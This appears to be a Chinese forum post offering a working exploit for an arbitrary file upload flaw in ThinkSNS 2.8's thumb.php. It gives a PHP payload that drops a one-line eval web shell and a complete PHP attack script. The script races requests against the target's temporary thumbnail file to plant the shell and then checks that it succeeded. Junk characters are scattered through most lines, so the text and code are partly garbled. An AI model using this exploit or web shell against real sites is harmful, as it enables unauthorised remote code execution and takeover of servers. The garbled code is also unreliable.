Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
9 ^9 D9 V; Q) r9 Y存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
+ M: r7 C/ U9 J' Y3 v6 v漏洞文件
( Z) W; u* _0 }  C, J存在漏洞的文件为：thumb.php
$ i, ?/ @: E  g% V: I% L' G7 I作者：韦鲲鹏
0 @0 ^  Q. g4 b5 |: P) {, p" A1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
7 ~- w0 ^8 n1 q- m7 A) D; {<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
' j+ }% A; y- v# c) i7 }3 w% i2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
3 U, E- H5 e8 w! E
3、        上传临时文件。
& ], i. }9 W, s# D8 z8 ]# ?; f# Z4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
" r9 w$ H0 @) B# F8 H3 d' \<?php
error_reporting(0);
0 ?+ n3 k7 X7 B+ i) i2 }, \set_time_limit(0);
ini_set(“default_socket_timeout”, 5);
  _+ Z7 B& q9 T, j2 M1 _+ L  pfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
0 T. y; s2 G3 d! E9 n0 aif (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
4 W7 u% o) o* d3 E0 i2 [! x}
# t4 m$ g8 s! W( A- z2 rfunction http_recv($fp) {
$ret=”";
while (!feof($fp))
3 U8 S3 ]% e6 u6 R1 Y/ c$ret.= fgets($fp, 1024);
9 l! z4 r7 O9 u8 k! ?4 ^fclose($fp);
3 J* E4 K5 |& K8 n8 s4 Lreturn $ret;
. @1 F# r6 q) c) Q}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
1 a  A/ O: D7 \/ U: a7 lprint “# Discovered by 韦鲲鹏 #\n\n”;
# X: o% V& N: dif ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
& p( Y, f: y! U6 Y  Ndie();
" U+ J+ U% g0 i+ A( R) K/ `; \}
$host = $argv[1];
$ b3 D9 ]& X; g9 n- F$path = $argv[2];
$url = $argv[3];
3 H, R9 D5 W, i$i=0;
5 n6 n2 `; J* ~2 k9 n0 b//上传数据包
: X. x  N. }  ^) P/ [2 S# ^( `! C$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
/ A% R% ^/ b9 z5 d$headers_up .= “Connection: close\r\n\r\n”;
& X5 p! y2 d$ E9 O9 m1 m2 y! @8 Aecho $headers_up;
: Z4 b+ S8 B8 g8 N1 Y//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
& E+ _4 y5 f" v" O1 D$headers .= “Connection: close\r\n\r\n”;
echo $headers;
8 Y! L! q% _8 Lwhile(++$i<10) {
fclose(http_send($host, 80, $headers));
9 s' N+ ~$ v, O' G3 K' q' F}
7 ?4 N; ^$ E. ^  B8 [# Jfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
* p" r( j; P& j0 ]& Y( \' {fclose(http_send($host, 80, $headers));
8 f& N) C) V8 e; |2 ~}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
3 P8 M6 |4 t# R9 t* |$ j5 g+ Oprint “Success!\n\n”;
} else {
/ |3 q- i0 n6 e1 g/ @3 X; b& i+ M9 kprint “Fail!\n\n”;
/ X  v! \/ A) x5 ?* U}
?>
% G0 U! b- {- I' g1 y* j8 D" L! J​